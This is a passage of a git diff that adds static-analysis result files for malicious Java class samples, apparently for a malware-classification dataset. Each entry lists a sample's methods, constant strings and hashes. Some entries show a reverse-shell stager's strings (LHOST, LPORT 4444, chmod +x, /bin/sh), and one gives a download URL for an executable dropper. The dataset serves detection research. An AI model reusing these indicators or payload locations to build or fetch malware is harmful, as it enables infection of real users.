"\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X%\\x17\\x1b\\x06\\x1a\\x13;\\x19\\x12\\x13\\x1a\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X2\\x17\\x02\\x174\\x03\\x10\\x10\\x13\\x04\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X&\\x19\\x1f\\x18\\x02", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X?\\x18\\x12\\x13\\x0e5\\x19\\x1a\\x19\\x04;\\x19\\x12\\x13\\x1a", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X7\\x1a\\x06\\x1e\\x175\\x19\\x1b\\x06\\x19\\x05\\x1f\\x02\\x13", "%\\x04\\x15", "\\x19\\x05X\\x18\\x17\\x1b\\x13", "", ";\\x17\\x15", "\\x19\\x05X\\x17\\x04\\x15\\x1e", "@B"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8fd6baa16cae6a2ca7cf2b1dd46afa0cf17457c1", "file_name": "java_malicious/bdcf7bbef2383e991871052ae098460777f200f18a9f618d01c47024da4a00e0", "_id": "5c031f1c-f119-4047-ab1c-a294cb5e38e4", "score": 0, "entropy": 6.036163084751947, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4259, "ssdeep": "96:QFlvv3oCg7zgWEvWbODamV6ypXCqIs2A/Snlng:SlvfobzgXvWKPV6ypN2Dg", "sha256": "bdcf7bbef2383e991871052ae098460777f200f18a9f618d01c47024da4a00e0", "md5": "ecb1ee9dbdef5e79e5f74047e10e4841", "parent_sha256": "bdcf7bbef2383e991871052ae098460777f200f18a9f618d01c47024da4a00e0"}} \ No newline at end of file diff --git a/java_classification/data/malicious/be80aacca219c7d4515ef5e3caf038e69ef32e190a2ae67630c37e4c977abad7.results b/java_classification/data/malicious/be80aacca219c7d4515ef5e3caf038e69ef32e190a2ae67630c37e4c977abad7.results new file mode 100755 index 0000000..ea6f843 --- /dev/null +++ b/java_classification/data/malicious/be80aacca219c7d4515ef5e3caf038e69ef32e190a2ae67630c37e4c977abad7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "OiFOIUqBpm/JQVTnrW", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "ca1d8b87-0b0e-489c-a45d-c7c662884a79", "verbose": {"java": {"constant strings": ["OiFOIUqBpm.JQVTnrW", ".class", "/OiFOIUqBpm.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "OiFOIUqBpm.dat", "URL", "", "https:", "OiFOIUqBpm/JQVTnrWTrustManager.class", "JQVTnrWTrustManager.class", "AESPassword", "OiFOIUqBpm/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "OiFOIUqBpm.JQVTnrWTrustManager", "useFor", "java.net.URLConnection", "OiFOIUqBpm.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "JQVTnrW -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e161675d470764338031eced2aa1306bf364c94e", "file_name": "java_malicious/be80aacca219c7d4515ef5e3caf038e69ef32e190a2ae67630c37e4c977abad7", "_id": "ca1d8b87-0b0e-489c-a45d-c7c662884a79", "score": 0, "entropy": 6.152167495564111, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMTDUBau+Wv9Thm+TVxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1th1BtmkyNvpvUrKYvCkgHzbDrDF", "sha256": "be80aacca219c7d4515ef5e3caf038e69ef32e190a2ae67630c37e4c977abad7", "md5": "2e5d3a5f53e3c546d6ed4dc48baf1623", "parent_sha256": "be80aacca219c7d4515ef5e3caf038e69ef32e190a2ae67630c37e4c977abad7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/bec8752e9e0b7e28c0700aaabdfd5f8063a10a6e3a326e283a85c387504c803c.results b/java_classification/data/malicious/bec8752e9e0b7e28c0700aaabdfd5f8063a10a6e3a326e283a85c387504c803c.results new file mode 100755 index 0000000..4ffabfe --- /dev/null +++ b/java_classification/data/malicious/bec8752e9e0b7e28c0700aaabdfd5f8063a10a6e3a326e283a85c387504c803c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "logo.java", "class_name": "logo", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "bpirJG1nCGxYP02loP", "KpTMnCGxYPVng11Yas1", "LGnCGxYPzgd11tY1gnhyyyt", "vbnounCGxYPVbC11Cc1h", "ccnCGxYPlppoed11", "bpirJG1Mg99nCGxYP9tloP", "KpTMVnCGxYP555551", "LG44443nCGxYP41gnhyyyt", "farber", "NyaFGj", "XHLIyM", "PPAdY0", "nCGxYP", "onEEdR", ""], "minor_version": 0, "const_pool_count": 140}}, "_id": "dff183c9-b7b8-4f6f-bc31-7cd0339df2f2", "verbose": {"java": {"constant strings": ["", " ", "1", "0", "([a-z A-Z])"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b5cbfec3852439843edd2cd2d951d4fe1419264c", "file_name": "java_malicious/bec8752e9e0b7e28c0700aaabdfd5f8063a10a6e3a326e283a85c387504c803c", "_id": "dff183c9-b7b8-4f6f-bc31-7cd0339df2f2", "score": 0, "entropy": 5.500010722184036, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3095, "ssdeep": "48:KYsGnBjFtEyFl9uZ1896YqGPMGtyyzprpPIXBCD4Cb7Nys1p:tFl4Z21qx27B9aMPJ1p", "sha256": "bec8752e9e0b7e28c0700aaabdfd5f8063a10a6e3a326e283a85c387504c803c", "md5": "9dd45e121a26c165863c264f510f0b79", "parent_sha256": "bec8752e9e0b7e28c0700aaabdfd5f8063a10a6e3a326e283a85c387504c803c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/bedc94be4ca5051d093ee7e948acf5abd9195b82b7c91879c2e75d4a816beb02.results b/java_classification/data/malicious/bedc94be4ca5051d093ee7e948acf5abd9195b82b7c91879c2e75d4a816beb02.results new file mode 100755 index 0000000..d52a31b --- /dev/null +++ b/java_classification/data/malicious/bedc94be4ca5051d093ee7e948acf5abd9195b82b7c91879c2e75d4a816beb02.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "IMG_00111.java", "class_name": "IMG_00111", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "XJJXMWJJQDBIAEHVEBZ", "GBWIBM", "LFHFKRGVONANPFWRG", "INYUAKPDLAH", "DVLAQPQHSFMOIAFG", "STPDMAE", "QAWUMBJVAREP", "main", "LTRTITASRLCE"], "minor_version": 0, "const_pool_count": 152}}, "_id": "ce5413a4-256b-49f2-9817-f8d9f93cc846", "metadata": {"mimetype": "application/x-java-applet", "sha1": "621ee33aebd566b60aa33744406d85bc097ccb99", "file_name": "java_malicious/bedc94be4ca5051d093ee7e948acf5abd9195b82b7c91879c2e75d4a816beb02", "_id": "ce5413a4-256b-49f2-9817-f8d9f93cc846", "score": 0, "entropy": 5.375204661820524, "libmagic": "compiled Java class data, version 51.0", "file_size": 18718, "ssdeep": "384:AhoKUCGu/r3BKIt1vguEnYMd4im+cwX3Zxu4N1RAOUm1dzBX6FODli3Amf:WoK0u/9KluEK7w6u1z9cQa", "sha256": "bedc94be4ca5051d093ee7e948acf5abd9195b82b7c91879c2e75d4a816beb02", "md5": "5ae0e65a7e15a8b13bd2311ff29e2944", "parent_sha256": "bedc94be4ca5051d093ee7e948acf5abd9195b82b7c91879c2e75d4a816beb02"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c0b727fc6d56ec99cd52fc7faeef646cdd55996ed235ea95fd44310d8d53463f.results b/java_classification/data/malicious/c0b727fc6d56ec99cd52fc7faeef646cdd55996ed235ea95fd44310d8d53463f.results new file mode 100755 index 0000000..6f5703e --- /dev/null +++ b/java_classification/data/malicious/c0b727fc6d56ec99cd52fc7faeef646cdd55996ed235ea95fd44310d8d53463f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "mbWTlxsN.java", "class_name": "ZTGTMeuuo/mbWTlxsN", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "pDsCBelM", "init", "deiOrj", "XDXaaZ", "hdZadXSR", "WSPLsI", "PNKtvTl", "XhAxu"], "minor_version": 0, "const_pool_count": 248}}, "_id": "af363c6e-d8d4-4a33-970f-75a9259a425b", "verbose": {"java": {"constant strings": ["elementFromComplex", "92%2}?2=4}\\x1c1960\\'92%2}?2=4}\\xc0\\x80\\'!:=4", "760?2!67\\x1e6\\';<7 ", "0<>} &=}9>+}>162= 6!%6!}\\x19>+\\x1e\\x1162=\\xc0\\x806!%6!", "=6$\\x1e\\x1162=\\xc0\\x806!%6!", "92%2}?2=4}\\xc0\\x80\\'!:=492%2+}>2=246>6=\\'}\\x1e\\x1162=\\xc0\\x806!%6!92%2+}>2=246>6=\\'}\\x1e\\x1162=\\xc0\\x806!%6!\\x176?642\\'61<<):??2}92%2 0!:#\\'}:=\\'6!=2?}\\x10<=\\'6+\\'", " &=}<):??2}92%2 0!:#\\'}:=\\'6!=2?}\\x146=6!2\\'67\\x10?2 \\x1f<276!", "0<>} &=}9>+}>162= 6!%6!}\\x1a=\\'!< #60\\' 5s8=5>", "547 752 ", "22 ", "92%2}:<}\\x11*\\'6\\x12!!2*\\x1c&\\'#&\\'\\xc0\\x80\\'!62>", "$!:\\'6", "\\'<\\x11*\\'6\\x12!!2*"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b98e578352a9c85a7becf39fb793a3db27ea5ca3", "file_name": "java_malicious/c0b727fc6d56ec99cd52fc7faeef646cdd55996ed235ea95fd44310d8d53463f", "_id": "af363c6e-d8d4-4a33-970f-75a9259a425b", "score": 0, "entropy": 6.170282537096777, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5501, "ssdeep": "96:dSwFlsnE8jo+QO2TWsmX2l/7jd+2Zvgck86FV37SMsPYIL2/D/j:PlsR/bml/F+p86FV3GGILqD/j", "sha256": "c0b727fc6d56ec99cd52fc7faeef646cdd55996ed235ea95fd44310d8d53463f", "md5": "5a2add3af83f06569b2fb339175cfc14", "parent_sha256": "c0b727fc6d56ec99cd52fc7faeef646cdd55996ed235ea95fd44310d8d53463f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c0d5c59d817bbe925020f73b890311246d70d0d6c2d9e8f197dc9e2658f64e9b.results b/java_classification/data/malicious/c0d5c59d817bbe925020f73b890311246d70d0d6c2d9e8f197dc9e2658f64e9b.results new file mode 100755 index 0000000..cbea6b4 --- /dev/null +++ b/java_classification/data/malicious/c0d5c59d817bbe925020f73b890311246d70d0d6c2d9e8f197dc9e2658f64e9b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "nxRjXZqkoO/KCQWxQL", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "ec237ed4-6c65-42c9-89b6-361e3a54e519", "verbose": {"java": {"constant strings": ["nxRjXZqkoO.KCQWxQL", ".class", "/nxRjXZqkoO.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "nxRjXZqkoO.dat", "URL", "", "https:", "nxRjXZqkoO/KCQWxQLTrustManager.class", "KCQWxQLTrustManager.class", "AESPassword", "nxRjXZqkoO/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "nxRjXZqkoO.KCQWxQLTrustManager", "useFor", "java.net.URLConnection", "nxRjXZqkoO.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "KCQWxQL -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f86297dfa32b17f9851e1ca6898acbf4ca83f9f5", "file_name": "java_malicious/c0d5c59d817bbe925020f73b890311246d70d0d6c2d9e8f197dc9e2658f64e9b", "_id": "ec237ed4-6c65-42c9-89b6-361e3a54e519", "score": 0, "entropy": 6.156599452832121, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMzDUBVe+WQGYThmUZxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1thgitmgyNvpvUrKYvCkgHzbDrDF", "sha256": "c0d5c59d817bbe925020f73b890311246d70d0d6c2d9e8f197dc9e2658f64e9b", "md5": "d45ae97fde643999a716d6306f892d24", "parent_sha256": "c0d5c59d817bbe925020f73b890311246d70d0d6c2d9e8f197dc9e2658f64e9b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c0d932c29265961b7528af5a53e5bbb67100276af15edd254757d47baa2548b5.results b/java_classification/data/malicious/c0d932c29265961b7528af5a53e5bbb67100276af15edd254757d47baa2548b5.results new file mode 100755 index 0000000..82288eb --- /dev/null +++ b/java_classification/data/malicious/c0d932c29265961b7528af5a53e5bbb67100276af15edd254757d47baa2548b5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/oditjfnmbqbgzco", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["tvbkomnswjrsfmtgo", "ecbwutuvcnumlyx", "fasnjalcgwgkrrxku", "xnhfjerwdsqvzowa", "", "hrispcvtywtkbbd", "gaxmjnjgmvzvtmlvng", "iaqxptgzjkyqfkkqk", "xpznjotkmbgxsexgmrs", "xcuejmcdajjzabp", "tfehkrygz", "wdueohcuwukjwbuv", "vpunxenlyscvgzzfe", "bkurlxbxdfydpujxvbt", "aoqcrynryhddezpdzt", "jtdbuxzqmggxehlduh", "ydddbhhdd", "wxqeivkumhlqrduljxl", "jlgbzxfpmbobyqwaih", "klkilbphdvennfduw", "xywmvcndyijwirpvoev", "qfbdtxyjfcvsyhdb", "kqrfhenzdoqinmlklya", "ucoexevzyhymzgwtzdh", "zkpucffxhswxwls", "khbvfywtcifyqxv", "lorjunfzcbpanxmypo", "hlsofalqiqhsbgotsw", "jojswkxlaafzwfl", "qqiyovwxinfzgfu", "ennttilwfgegcporib", "ovvmlbguqcbdgwtzltv", "xeucxejavxawxrond", "ucvtmjpbbgfuesg", "logkjwdkxkwvxiyjdu", "qaxqoximzozkjzlux", "wmmicbdstxciqypf", "pljvwqdypvzpikwygre", "icerlrjrybnewvhmkal", "fsbuqgbagsfcgqtkg", "foksybazryiliaie", "hiosqmohskogdxwcod", "qgzfdsezwtxpwpu", "bixcpjijzyqbjujk", "tvfqvdddadgajgk"], "minor_version": 0, "const_pool_count": 1011}}, "_id": "2d7a7dcf-bc56-4aec-a991-5dfdaedaf442", "verbose": {"java": {"constant strings": ["bdrzrisitspbogeigwosnpt", "xizrsyofz", "xikrwwgoios", "lgkfvilomhrjybdryggb", "thpjpbocuoakvd", "cseyvydfysrcqpvee", "vcmgegixjplfp", "mrclugxfrsjfhfxguhhzfmdlvtjkv", "tn", "vrsartroodskzjxuvybbscvzyzgk", "", "euox", "wmlnxbsvrmronlclnaehtres", "bonxoclcdvnh", "zoass", "rjebixmddhzczxewjbchffel", "ecyitufvztvihvlghburmnoq", "pdjnoswntgoywnkdegceqg", "agxlyszbyeqdgfxcvryiyqxvp", "rdechgqjjjibendkcoyw", "nrwrtmqbtubgtp", "hgwvyxjkzfszqmfdjjhbdyovj", "hgzaxnongyfmvdsfehhihc", "myelywpnpmspujngrhpgaja", "i", "phzfagxgb", "xgfvanikuizlukkpisdiv", "ulurkrqesnvublisudtagsnqwgyd", "alklwxgyhzzb", "xh", "dqa", "qnpqhowvc", "vuzemhxs", "qrqroquxppmh", "arlcdwphbvszwgsfioyjcehm", "smc", "cycofutsaczunnmspdxoro", "lbmsmeyunnbfzbiafihfsfosgb", "lbsfwdyivizvoubzumdiaupmeryj", "bp", "urlrvkyaubxs", "ceiwdyilklirguphfedex", "hksizvfdqixrfepwbvbwbgx", "ykjpqqifeixiqd", "hvrq", "d", "dcvjrravr", "xeuaodrrcrhmrnzppto", "r", "fmzvesidxhuzcd", "ytl", "gziryvlqljvie", "dyoaimhefd", "rgqsuwtvltavrktjbklrip", "oybkfmemdz", "dq", "wlaym", "xoexthkgutvlowyivgtj", "saimprzmzjwdwhk", "jkpxlfrlymfvw", "iqmfypgqgfgz", "ltmglbzkyxcefg", "nnlvolfbsieapwfa", "mtopr", "drufxvixgmlfsbtkremecjyu", "fcastfszfusyutcjekkbnefx", "wjlvxcgrb", "ewayz", "znugylvrzpobosqg", "yesywkwxdcmmcjrhljih", "yzbygfxjfmzooyzzucsmgc", "updqbg", "iuomqzhy", "yapgmzjeo", "ymfqvtlkhceacaspgvifhp", "u", "cxngv", "lilavbcfalirevguabsfikmtkg", "hgmgovvkdwhxqmjgxn", "v", "orbj", "byaucayo", "mqenxumfv", "tlj", "ugxzeuwmrmhqcgridbp", "epywopujyecgdcpbsuxkegp", "txejvvevrmcinokwmqzcjf", "xp", "hfdgpdqysdm", "hmqj", "hyjplyatwswioqcw", "rvehueixn", "qriyrgsrcupiwxnrjz", "cym", "fodzgxqvnv", "dnoeukuvtijife", "mlkactzbtlhdwu", "wovfjqlhwyuj", "ehsxsvmawbpoheitmgmewru", "dyilwdlskjpzt", "wdadvejkc", "fphoqcochi", "zuclhotcrlziky", "fiousmgdvqbkzrgejcnfprfpkfhwab", "uwwodwfxdomboarlfd", "pgmzcyeathm", "nnpagejfbwvpnimtvgwcgaai", "uujalaz", "soclakrzm", "nlcnqsdgavtazdrceayioqddrz", "kmrgwmqvorrnwxxygufhyzfo", "vutruuhkqczchcovkabkkimrubwzwl", "lrxbnxckkifmkhvtmapmtsxea", "thuxzramdmvk", "bnekjezhdikukdwycfkomsmogatpr", "afmyesggtuvauficmbpnau", "morwikb", "wwetq", "eauwgbjsokvbyaeafctubynjfoxez", "blcqhgxcghqdlnacggtpowd", "jjaukkfsujvfbynaognniwnvzwv", "xnmtnkivkeovvcinmfpkeip", "bgxinaoneokpbcqyibfvyh", "ljllktlvmcxdpuqnjqfvqnihoxpsn", "xdfkghjaxx", "npbsdmeazvidvgkvgwyiah", "lvmoiemagmkfweymfvmqby", "sbfaxgonwqucosrvpoikbwxjsos", "vvptylybtonsknhpk", "ssowfhasxxmpjmebyzwyo", "yus", "me", "hzjcdhyjdijjlsfq", "egonl", "qxlcelzzpctzmyoktegjjqxafqxtcf", "cwgd", "egsmndcaunicskc", "wulmrxdpmtighfehahwn", "wcohrgdydlrdkzzcjlh", "qoo", "umgouzmqezpbrxglkfojgkt", "fqbdasgckecoem", "ezqlazfecpnl", "cvgkdhfudbcoaga", "fzuyd", "yxpznwdvbfhponhcztfcnzoqinz", "spaqhxsqtudybzqto", "aeucfdcqqtxlivdgyddfljhvthevkf", "ovwhdlrmyzotfixgvwuzqsxee", "lgwvlxvorpa", "osy", "nlmqwpejhyjwqgc", "wigpdpvlzqcqqypifrgiijfjoyv", "eudjncciibhapouijoybb", "dbtyfbjcgfwdzsfunwgqook", "zlijicfwznhkxbzst", "cgytgaugszpxfxtytngbpljxexa", "lcpdxga", "ioowqxskpepgvlkbihkkxekt", "qncsvngeifwuecrwzofnxquopxd", "tveqangtambenweihiuvzvj", "kyiv", "jzdqvekqypnuvbqhx", "ul", "xgxtcyuhejrikj", "ixkvggwhjohnnr", "rjsqozdnls", "yvfgeqquoijjkglmnzxsyrua", "dddwds", "ggwssasciungmuwtybkyihdw", "omogwwqrrm", "whdaksnkjuiost", "pokrblzgsm", "kkknxhwssjcwepgkrszf", "lwiewz", "icnzimsqlvgsjbzqwpcwndtqjbdbfy", "mfnxuygkkjmctbwscalffsakktt", "apfozugyojxztxsa", "pomtgtkcyliptyhazlwq", "nddkqfeuqxygfrmmytmyoofq", "sxziiqhzxtdvamevkxtthgbumlij", "ipdqtk", "dvh", "rdtairywxcduuqitsgopj", "bwuaknkhbsoqvcr", "hxfkufx", "izmvuprquoaaadshdmwtzxrrdz", "pmaogoiwldqlwlauqs", "diqwdqzurehbyvxfeuczwdg", "yxm", "asurbaplirgq", "aycxu", "zcbqdkxug", "qtqkzqhzddpvnhltqkbnetsgiaz", "lonjsgmwatnkjpgfmslomqjzuvwd", "dcvhmvang", "yolrtb", "zhbelpvavmmwuyesngcqido", "piflikirnmaraflnvowsizwkzpbo", "bsvifcubnxozzunubusdapcextvoq", "wkobsplrozoxrxlibxtpfxmzudz", "lijudw", "rjtolaqjlgyhkaqbtyeqbzxvgus", "mecppfttrunclxci", "tpgaqdktbrykkhxsgusatiw", "iv", "xitjpjwvzwpaldhafxafa", "dcfummurafneaxvzattnhjipkdf", "jucenxtxsvtodnlxcmmfcfxcycs", "ppzmorhfupstyzoezoh", "sppofxgkyowlhz", "oxwidn", "ixoufnjaxliylvwnxljuxy", "pslllxmmsksi", "mvzbwzwvipxoo", "jzjnuckslpgxrshpbsxslazsshtmov", "gsyechdbxsipdcrq", "bbkxj", "iwvjxlnurjw", "sxpecjpbgxg", "cnubfwkybc", "vancponjckymqanwdaqmqqcvuxn", "hbiwj", "rdtkxypkuttkm", "uzwavyvjwnvymynwnisqrpxcxj", "teurpzhuverexamsnzk", "rrntqvwkxosyryfzpcdbzun", "f", "grekvsevuealvllrmdjceowg"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "364965a5b357e6f41432030faa242bf5d577827e", "file_name": "java_malicious/c0d932c29265961b7528af5a53e5bbb67100276af15edd254757d47baa2548b5", "_id": "2d7a7dcf-bc56-4aec-a991-5dfdaedaf442", "score": 0, "entropy": 6.022719529351195, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 23774, "ssdeep": "384:8pLYanfIJi//eBEJ+r8/TujHhX/oYyn4G9HVHLu/YGNFBKkQ2Mp:4YqftGFmTujHhXgPt1rTw/Q1", "sha256": "c0d932c29265961b7528af5a53e5bbb67100276af15edd254757d47baa2548b5", "md5": "649be76f597d8bd07d1fff0bc3b1dbbd", "parent_sha256": "c0d932c29265961b7528af5a53e5bbb67100276af15edd254757d47baa2548b5"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c11066307eb145393459851e20d604479c2a1d4a8e34d551840fe1bb2d9e83d4.results b/java_classification/data/malicious/c11066307eb145393459851e20d604479c2a1d4a8e34d551840fe1bb2d9e83d4.results new file mode 100755 index 0000000..956c059 --- /dev/null +++ b/java_classification/data/malicious/c11066307eb145393459851e20d604479c2a1d4a8e34d551840fe1bb2d9e83d4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/rdrhwutqqvwwm", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "nvlpggqqyc", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "4b406f1e-c1c2-4aff-a4c0-475713affaae", "metadata": {"mimetype": "application/x-java-applet", "sha1": "338d3c87aa80f1b0e5f5f7cbd020c7e88b7246c1", "file_name": "java_malicious/c11066307eb145393459851e20d604479c2a1d4a8e34d551840fe1bb2d9e83d4", "_id": "4b406f1e-c1c2-4aff-a4c0-475713affaae", "score": 0, "entropy": 5.203881406510612, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6927, "ssdeep": "96:KMHm7HhYObF2z4nz+bdEsdtNo8pz2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TOhhnzNGpzxhi/To55UTYwa5hGX1", "sha256": "c11066307eb145393459851e20d604479c2a1d4a8e34d551840fe1bb2d9e83d4", "md5": "855325597ad2e7b6dd1c84bfac19073a", "parent_sha256": "c11066307eb145393459851e20d604479c2a1d4a8e34d551840fe1bb2d9e83d4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c15815c35d27d7be68679851f6cfb6d514818a071299096eeb8edb274b707569.results b/java_classification/data/malicious/c15815c35d27d7be68679851f6cfb6d514818a071299096eeb8edb274b707569.results new file mode 100755 index 0000000..5f5cd81 --- /dev/null +++ b/java_classification/data/malicious/c15815c35d27d7be68679851f6cfb6d514818a071299096eeb8edb274b707569.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Matrix.java", "class_name": "Matrix", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "check", "a", "a"], "minor_version": 3, "const_pool_count": 173}}, "_id": "bca03620-fc74-4097-97f5-158a078c0181", "verbose": {"java": {"constant strings": ["no error", "os.name", "http://buytraff.biz/dl/loadadv525.exe", "\\\\loadnew.exe", "http://buytraff.biz/dl/cheat.php?adv=adv525"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d6f89a725fdea4bdba151a3fb2562ca50bae3581", "file_name": "java_malicious/c15815c35d27d7be68679851f6cfb6d514818a071299096eeb8edb274b707569", "_id": "bca03620-fc74-4097-97f5-158a078c0181", "score": 0, "entropy": 5.887855071668516, "libmagic": "compiled Java class data, version 45.3", "file_size": 2945, "ssdeep": "48:9JrYyss0yFlS/vJ4RPfTwe5bj4ZKErZqHkZWyK/WcSkjfcB9GcJmIDnom1JeUX2u:LFlOhyfTaTtcSkjfcGcEk51rX2oh", "sha256": "c15815c35d27d7be68679851f6cfb6d514818a071299096eeb8edb274b707569", "md5": "cf4ccad0075e6c6a93c3176e6e7a136a", "parent_sha256": "c15815c35d27d7be68679851f6cfb6d514818a071299096eeb8edb274b707569"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c1672c989dfd55769768cd21add379c8e114595f2bfc3bf397d5be92b2528898.results b/java_classification/data/malicious/c1672c989dfd55769768cd21add379c8e114595f2bfc3bf397d5be92b2528898.results new file mode 100755 index 0000000..7874007 --- /dev/null +++ b/java_classification/data/malicious/c1672c989dfd55769768cd21add379c8e114595f2bfc3bf397d5be92b2528898.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ePzpU.java", "class_name": "ePzpU", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "pWqKuI"], "minor_version": 0, "const_pool_count": 66}}, "_id": "e2c6e082-3609-4e22-917a-91adfcb5ee98", "verbose": {"java": {"constant strings": ["d^", "+++X%8%", ")", "`}`fpq`", ""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "900c56c8e4b6f49d4591b61dcb8eaaeb631409e2", "file_name": "java_malicious/c1672c989dfd55769768cd21add379c8e114595f2bfc3bf397d5be92b2528898", "_id": "e2c6e082-3609-4e22-917a-91adfcb5ee98", "score": 0, "entropy": 5.9141748338307005, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1569, "ssdeep": "24:RTKGxyQulxbgi9jfkZ65zppwg/nesHFBT3TIBuUQSLCU4gNXQd98VG3V:5dxyFlrjfXBPPeGnnIBuUQSLKqkF", "sha256": "c1672c989dfd55769768cd21add379c8e114595f2bfc3bf397d5be92b2528898", "md5": "df6657f7f601721586f1c2037747b4ef", "parent_sha256": "c1672c989dfd55769768cd21add379c8e114595f2bfc3bf397d5be92b2528898"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c1702c16a8790d2c574af1877bde27c131e25aee221175f1e1d645a19d1cb498.results b/java_classification/data/malicious/c1702c16a8790d2c574af1877bde27c131e25aee221175f1e1d645a19d1cb498.results new file mode 100755 index 0000000..034dedb --- /dev/null +++ b/java_classification/data/malicious/c1702c16a8790d2c574af1877bde27c131e25aee221175f1e1d645a19d1cb498.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/lnhrsedimxdeas", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "qjqowtxixxdts", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "306cb280-8b76-4182-9fef-97ff7e5bb4fa", "metadata": {"mimetype": "application/x-java-applet", "sha1": "57aaaa1be5b2a60052af4aae013d22e9cfe74979", "file_name": "java_malicious/c1702c16a8790d2c574af1877bde27c131e25aee221175f1e1d645a19d1cb498", "_id": "306cb280-8b76-4182-9fef-97ff7e5bb4fa", "score": 0, "entropy": 5.207288143711535, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6941, "ssdeep": "192:TajOOcRXf6m8YHpPxhi/To55UTYwa5hGX1:qOBvhlJPyTofUTkc1", "sha256": "c1702c16a8790d2c574af1877bde27c131e25aee221175f1e1d645a19d1cb498", "md5": "beb22aa549371d9ed740848b8821e1f1", "parent_sha256": "c1702c16a8790d2c574af1877bde27c131e25aee221175f1e1d645a19d1cb498"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c1cbee11532d91dd9271e59e1a3d34abbeff6b9dc55ed8ee1a497ae80b5420dd.results 